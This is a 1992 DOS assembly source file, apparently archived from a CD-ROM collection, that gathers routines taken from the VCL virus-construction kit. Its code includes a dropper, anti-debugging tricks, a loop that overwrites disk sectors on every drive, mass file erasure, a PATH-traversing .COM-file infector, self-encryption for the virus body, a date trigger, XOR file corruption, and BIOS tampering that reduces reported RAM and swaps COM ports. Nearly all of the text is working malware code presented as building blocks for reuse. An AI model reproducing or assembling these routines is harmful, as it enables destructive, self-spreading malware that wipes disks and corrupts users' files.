HPAVC

home *** CD-ROM | disk | FTP | other *** search

/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / VIR_RTNS.ASM < prev next >

Wrap

Assembly Source File | 1992-09-11 | 20.6 KB | 664 lines

;These routines were pulled from the VCL as an aid to those who ;wish to write themselves some utilities. I have tried to gather ;all the essential pieces of the routines, so that you can simply ;install them in modules. ; ; ; ; ;This is a DROPPER routine from the VCL. mov dx,offset data00 ; DX points to data mov si,offset data01 ; SI points to data push di ; Save DI mov ah,02Fh ; DOS get DTA function int 021h mov di,bx ; DI points to DTA mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes int 021h jc create_file ; If not found then create it write_in_file: mov ax,04301h ; DOS set file attributes function xor cx,cx ; File will have no attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ax,03D01h ; DOS open file function, write lea dx,[di + 01Eh] ; DX points to file name int 021h xchg bx,ax ; Transfer file handle to AX mov ah,040h ; DOS write to file function mov cx,[si] ; CX holds number of byte to write lea dx,[si + 2] ; DX points to the data int 021h mov ax,05701h ; DOS set file date/time function mov cx,[di + 016h] ; CX holds old file time mov dx,[di + 018h] ; DX holds old file data int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attributes function xor ch,ch ; Clear CH for attributes mov cl,[di + 015h] ; CL holds old attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ah,04Fh ; DOS find next file function int 021h jnc write_in_file ; If successful do next file jmp short dropper_end ; Otherwise exit create_file: mov ah,03Ch ; DOS create file function xor cx,cx ; File has no attributes int 021h xchg bx,ax ; Transfer file handle to AX mov ah,040h ; DOS write to file function mov cx,[si] ; CX holds number of byte to write lea dx,[si + 2] ; DX points to the data int 021h mov ah,03Eh ; DOS close file function int 021h dropper_end: pop di ; Restore DI mov ax,04C00h ; DOS terminate function int 021h ;This is a STOP TRACE technique for fouling up DEBUGGERS stop_tracing: mov cx,09EBh mov ax,0FE05h ; Acutal move, plus a HaLT jmp $-2 add ah,03Bh ; AH now equals 025h jmp $-10 ; Execute the HaLT mov bx,offset null_vector ; BX points to new routine push cs ; Transfer CS into ES pop es ; using a PUSH/POP int 021h mov al,1 ; Disable interrupt 1, too int 021h jmp short skip_null ; Hop over the loop null_vector: jmp $ ; An infinite loop skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged lock_keys: mov al,128 ; Change here screws DEBUG out 021h,al ; If tracing then lock keyboard ;This is a TRASH routine for destroying sectors mov ax,0002h ; First argument is 2 mov cx,0001h ; Second argument is 1 cli ; Disable interrupts (no Ctrl-C) cwd ; Clear DX (start with sector 0) trash_loop: int 026h ; DOS absolute write interrupt dec ax ; Select the previous disk cmp ax,-1 ; Have we gone too far? jne trash_loop ; If not, repeat with new drive sti ; Restore interrupts ;This is a FILE ERASE routine mov dx,offset data02 ; DX points to data mov ah,04Eh ; DOS find first file function mov cx,00100111b ; All file attributes valid int 021h jc erase_done ; Exit procedure on failure mov ah,02Fh ; DOS get DTA function int 021h lea dx,[bx + 01Eh] ; DX points to filename in DTA erase_loop: mov ah,041h ; DOS delete file function int 021h mov ah,03Ch ; DOS create file function xor cx,cx ; No attributes for new file int 021h mov ah,041h ; DOS delete file function int 021h mov ah,04Fh ; DOS find next file function int 021h jnc erase_loop ; Repeat until no files left erase_done: mov ax,04C00h ; DOS terminate function int 021h ;This is a DIRECTORY "PATH"/ FILE FIND routine search_files proc near mov bx,di ; BX points to the virus push bp ; Save BP mov bp,sp ; BP points to local buffer sub sp,135 ; Allocate 135 bytes on stack mov byte ptr [bp - 135],'\' ; Start with a backslash mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp - 134] ; SI points to 64-byte buffer int 021h call traverse_path ; Start the traversal traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? je done_searching ; If so then we're done call found_subdir ; Otherwise copy the subdirectory mov ax,cs ; AX holds the code segment mov ds,ax ; Set the data and extra mov es,ax ; segments to the code segment xor al,al ; Zero AL stosb ; NULL-terminate the directory mov ah,03Bh ; DOS change directory function lea dx,[bp - 70] ; DX points to the directory int 021h lea dx,[bx + com_mask] ; DX points to "*.COM" push di mov di,bx call find_files ; Try to infect a .COM file mov bx,di pop di jnc done_searching ; If successful the exit jmp short traversal_loop ; Keep checking the PATH done_searching: mov ah,03Bh ; DOS change directory function lea dx,[bp - 135] ; DX points to old directory int 021h cmp word ptr [bx + path_ad],0 ; Did we run out of directories? jne at_least_tried ; If not then exit stc ; Set the carry flag for failure at_least_tried: mov sp,bp ; Restore old stack pointer pop bp ; Restore BP ret ; Return to caller com_mask db "*.COM",0 ; Mask for all .COM files search_files endp traverse_path proc near mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment xor di,di ; DI holds the starting offset find_path: lea si,[bx + path_string] ; SI points to "PATH=" lodsb ; Load the "P" into AL mov cx,08000h ; Check the first 32767 bytes repne scasb ; Search until the byte is found mov cx,4 ; Check the next four bytes check_next_4: lodsb ; Load the next letter of "PATH=" scasb ; Compare it to the environment jne find_path ; If there not equal try again loop check_next_4 ; Otherwise keep checking mov word ptr [bx + path_ad],di ; Save the PATH address mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment ret ; Return to caller path_string db "PATH=" ; The PATH string to search for path_ad dd ? ; Holds the PATH's address traverse_path endp found_subdir proc near lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH lea di,[bp - 70] ; DI points to the work buffer push cs ; Transfer CS into ES for pop es ; byte transfer move_subdir: lodsb ; Load the next byte into AL cmp al,';' ; Have we reached a separator? je moved_one ; If so we're done copying or al,al ; Are we finished with the PATH? je moved_last_one ; If so get out of here stosb ; Store the byte at ES:DI jmp short move_subdir ; Keep transfering characters moved_last_one: xor si,si ; Zero SI to signal completion moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address ret ; Return to caller found_subdir endp find_files proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack push dx ; Save file mask mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes pop dx ; Restore file mask find_a_file: int 021h jc done_finding ; Exit if no files found call infect_file ; Infect the file! jnc done_finding ; Exit if no error mov ah,04Fh ; DOS find next file function jmp short find_a_file ; Try finding another file done_finding: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller find_files endp ;This is a RAM REDUCTION routine mov dx,0064h ; First argument is 100 push es ; Save ES mov ax,040h ; Set extra segment to 040h mov es,ax ; (ROM BIOS) mov word ptr es:[013h],dx ; Store new RAM ammount pop es ; Restore ES mov ah,0Fh ; BIOS get video mode function int 010h xor ah,ah ; BIOS set video mode function int 010h ;This is a MACHINE GUN SOUND routine followed by a DROP TO ROM routine mov cx,0005h ; First argument is 5 new_shot: push cx ; Save the current count mov dx,0140h ; DX holds pitch mov bx,0100h ; BX holds shot duration in al,061h ; Read the speaker port and al,11111100b ; Turn off the speaker bit fire_shot: xor al,2 ; Toggle the speaker bit out 061h,al ; Write AL to speaker port add dx,09248h ; mov cl,3 ; ror dx,cl ; Figure out the delay time mov cx,dx ; and cx,01FFh ; or cx,10 ; shoot_pause: loop shoot_pause ; Delay a bit dec bx ; Are we done with the shot? jnz fire_shot ; If not, pulse the speaker and al,11111100b ; Turn off the speaker bit out 061h,al ; Write AL to speaker port mov bx,0002h ; BX holds delay time (ticks) xor ah,ah ; Get time function int 1Ah ; BIOS timer interrupt add bx,dx ; Add current time to delay shoot_delay: int 1Ah ; Get the time again cmp dx,bx ; Are we done yet? jne shoot_delay ; If not, keep checking pop cx ; Restore the count loop new_shot ; Do another shot int 018h ; Drop to ROM BASIC mov ax,04C00h ; DOS terminate function int 021h ;This is a DISPLAY STRING routine main proc near mov si,offset data00 ; SI points to data mov ah,0Eh ; BIOS display char. function display_loop: lodsb ; Load the next char. into AL or al,al ; Is the character a null? je disp_strnend ; If it is, exit int 010h ; BIOS video interrupt jmp short display_loop ; Do the next character disp_strnend: This is a RANDOM NUMBER from BIOS CLOCK generator get_random proc near xor ah,ah ; BIOS get clock count function int 01Ah xchg dx,ax ; Transfer the count into AX ret ; Return to caller get_random endp This is an CODE ENCRYPTION routine encrypt_code proc near mov si,offset encrypt_decrypt; SI points to cipher routine xor ah,ah ; BIOS get time function int 01Ah mov word ptr [si + 8],dx ; Low word of timer is new key xor byte ptr [si],1 ; xor byte ptr [si + 7],1 ; Change all SIs to DIs xor word ptr [si + 10],0101h; (and vice-versa) mov di,offset finish ; Copy routine into heap mov cx,finish - encrypt_decrypt - 1 ; All but final RET push si ; Save SI for later push cx ; Save CX for later rep movsb ; Copy the bytes mov si,offset write_stuff ; SI points to write stuff mov cx,5 ; CX holds length of write rep movsb ; Copy the bytes pop cx ; Restore CX pop si ; Restore SI inc cx ; Copy the RET also this time rep movsb ; Copy the routine again mov ah,040h ; DOS write to file function mov dx,offset start ; DX points to virus call finish ; Encrypt/write/decrypt ret ; Return to caller write_stuff: mov cx,finish - start ; Length of code int 021h encrypt_code endp end_of_code label near encrypt_decrypt proc near mov si,offset start_of_code ; SI points to code to decrypt mov cx,(end_of_code - start_of_code) / 2 ; CX holds length xor_loop: db 081h,034h,00h,00h ; XOR a word by the key inc si ; Do the next word inc si ; loop xor_loop ; Loop until we're through ret ; Return to caller encrypt_decrypt endp ;This is a BEEP routine beep proc near jcxz beep_end ; Exit if there are no beeps mov ax,0E07h ; BIOS display char., BEL beep_loop: int 010h ; Beep loop beep_loop ; Beep until --CX = 0 beep_end: ret ; Return to caller beep endp ;This is a GET DAY/WEEK COMPARE BEFORE ACTIVATE routine call get_day cmp ax,000Bh ; Did the function return 11? jne skip00 ; If not equal, skip effect call get_weekday cmp ax,0005h ; Did the function return 5? jne skip00 ; If not equal, skip effect jmp short strt00 ; Success -- skip jump skip00: jmp end00 ; Skip the routine strt00: mov si,offset data00 ; SI points to data mov ah,0Eh ; BIOS display char. function ;Code goes between this--------------------------------> get_day proc near mov ah,02Ah ; DOS get date function int 021h mov al,dl ; Copy day into AL cbw ; Sign-extend AL into AX ret ; Return to caller get_day endp get_weekday proc near mov ah,02Ah ; DOS get date function int 021h cbw ; Sign-extend AL into AX ret ; Return to caller get_weekday endp ;This is a FILE CORRUPTION routine mov dx,offset data01 ; DX points to data push bp ; Save BP mov bp,sp ; BP points to stack frame sub sp,4096 ; Allocate 4096-byte buffer push di ; Save DI mov ah,02Fh ; DOS get DTA function int 021h mov di,bx ; DI points to DTA mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes int 021h jc corrupt_end ; If no files found then exit corrupt_file: mov ax,04301h ; DOS set file attributes function xor cx,cx ; File will have no attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ax,03D02h ; DOS open file function, r/w lea dx,[di + 01Eh] ; DX points to file name int 021h xchg bx,ax ; Transfer file handle to AX c_crypt_loop: mov ah,03Fh ; DOS read from file function mov cx,4096 ; Read 4k of characters lea dx,[bp - 4096] ; DX points to the buffer int 021h or ax,ax ; Were 0 bytes read? je close_c_file ; If so then close it up push ax ; Save AX lea si,[bp - 4096] ; SI points to the buffer xor ah,ah ; BIOS get clock ticks function int 01Ah pop cx ; CX holds number of bytes read push cx ; Save CX corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks inc si ; Do the next byte inc dx ; Change the key for next byte loop corrupt_bytes ; Repeat until buffer is done pop dx ; Restore DX (holds bytes read) push dx ; Save count for write mov ax,04201h ; DOS file seek function, current mov cx,0FFFFh ; Seeking backwards neg dx ; Seeking backwards int 021h mov ah,040h ; DOS write to file function pop cx ; CX holds number of bytes read lea dx,[bp - 4096] ; DX points to the buffer int 021h jmp short c_crypt_loop close_c_file: mov ax,05701h ; DOS set file date/time function mov cx,[di + 016h] ; CX holds old file time mov dx,[di + 018h] ; DX holds old file data int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attributes function xor ch,ch ; Clear CH for attributes mov cl,[di + 015h] ; CL holds old attributes lea dx,[di + 01Eh] ; DX points to file name int 021h mov ah,04Fh ; DOS find next file function int 021h jnc corrupt_file ; If successful do next file corrupt_end: pop di ; Restore DI mov sp,bp ; Deallocate local buffer pop bp ; Restore BP ;This is a COM PORT REARRANGING routin mov bx,0001h ; First argument is 1 mov si,0002h ; Second argument is 2 push es ; Save ES xor ax,ax ; Set the extra segment to mov es,ax ; zero (ROM BIOS) shl bx,1 ; Convert to word index shl si,1 ; Convert to word index mov ax,word ptr [bx + 03FEh]; Zero COM port address xchg word ptr [si + 03FEh],ax; Put first value in second, mov word ptr [bx + 03FEh],ax; and second value in first! pop es ; Restore ES ;This is a DROP TO ROM routine rom_basic proc near int 018h ; Drop to ROM BASIC ret ; Return to caller rom_basic endp ;This is a TUNE PLAYING routine + TUNE DATA mov si,offset data00 ; SI points to data get_note: mov bx,[si] ; Load BX with the frequency or bx,bx ; Is BX equal to zero? je play_tune_done ; If it is we are finished mov ax,034DDh ; mov dx,0012h ; cmp dx,bx ; jnb new_note ; div bx ; This bit here was stolen mov bx,ax ; from the Turbo C++ v1.0 in al,061h ; library file CS.LIB. I test al,3 ; extracted sound() from the jne skip_an_or ; library and linked it to or al,3 ; an .EXE file, then diassembled out 061h,al ; it. Basically this turns mov al,0B6h ; on the speaker at a certain out 043h,al ; frequency. skip_an_or: mov al,bl ; out 042h,al ; mov al,bh ; out 042h,al ; mov bx,[si + 2] ; BX holds duration value xor ah,ah ; BIOS get time function int 1Ah add bx,dx ; Add the time to the length wait_loop: int 1Ah ; Get the time again (AH = 0) cmp dx,bx ; Is the delay over? jne wait_loop ; Repeat until it is in al,061h ; Stolen from the nosound() and al,0FCh ; procedure in Turbo C++ v1.0. out 061h,al ; This turns off the speaker. new_note: add si,4 ; SI points to next note jmp short get_note ; Repeat with the next note play_tune_done: data00 dw 262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6 dw 262,6,262,6,293,6,329,6,262,12,262,12 dw 262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6 dw 246,6,196,6,220,6,246,6,262,12,262,12 dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6 dw 196,6,220,6,196,6,174,6,164,6,174,6,196,7 dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7 dw 196,6,262,6,246,6,293,6,262,12,262,12 dw 0 ;This is an ANSI DISPLAY routine mov si,offset data01 ; SI points to data xor cx,cx ; Clear CX push di ; Save DI push es ; Save ES jcxz uncrunch_done ; Exit if there are no characters mov ah,0Fh ; BIOS get screen mode function int 10h xor ah,ah ; BIOS set screen mode function int 10h ; Clear the screen xor di,di mov ax,0B800h ; AX is set to video segment mov es,ax ; ES holds video segment mov dx,di ; Save X coordinate for later xor ax,ax ; Set current attributes cld loopa: lodsb ; Get next character cmp al,32 ; Is it a control character? jb foreground ; Handle it if it is stosw ; Save letter on screen next: loop loopa ; Repeat until we're done jmp short uncrunch_done ; Leave this routine foreground: cmp al,16 ; Are we changing the foreground? jnb background ; If not, check the background and ah,0F0h ; Strip off old foreground or ah,al ; Put the new one on jmp short next ; Resume looping background: cmp al,24 ; Are we changing the background? je next_line ; If AL = 24, go to next line jnb flash_bit_toggle ; If AL > 24 set the flash bit sub al,16 ; Change AL to a color number add al,al ; Crude way of shifting left add al,al ; four bits without changing add al,al ; CL or wasting space. Ok, add al,al ; I guess. and al,08Fh ; Strip off old background or ah,al ; Put the new one on jmp short next ; Resume looping next_line: add dx,160 ; Skip a whole line (80 chars. mov di,dx ; AND 80 attribs.) jmp short next ; Resume looping flash_bit_toggle: cmp al,27 ; Is it a blink toggle? jb multi_output ; If AL < 27, it's a blinker jne next ; Otherwise resume looping xor ah,128 ; Toggle the flash bit jmp short next ; Resume looping multi_output: cmp al,25 ; Set Zero flag if multi-space mov bx,cx ; Save main counter lodsb ; Get number of repititions mov cl,al ; Put it in CL mov al,' ' ; AL holds a space jz start_output ; If displaying spaces, jump lodsb ; Otherwise get character to use dec bx ; Adjust main counter start_output: xor ch,ch ; Clear CH inc cx ; Add one to count rep stosw ; Display the character mov cx,bx ; Restore main counter dec cx ; Adjust main counter loopnz loopa ; Resume looping if not done uncrunch_done: pop es ; Restore ES pop di ; Restore DI mov ax,04C00h ; DOS terminate function int 021h